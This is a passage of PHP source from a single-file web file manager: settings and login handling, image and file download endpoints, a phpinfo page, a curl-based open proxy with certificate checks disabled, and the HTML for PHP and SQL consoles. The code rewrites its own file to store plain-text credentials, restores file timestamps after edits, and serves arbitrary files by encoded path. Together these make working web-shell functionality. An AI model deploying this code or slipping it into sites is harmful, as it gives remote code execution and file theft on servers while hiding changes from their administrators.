		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
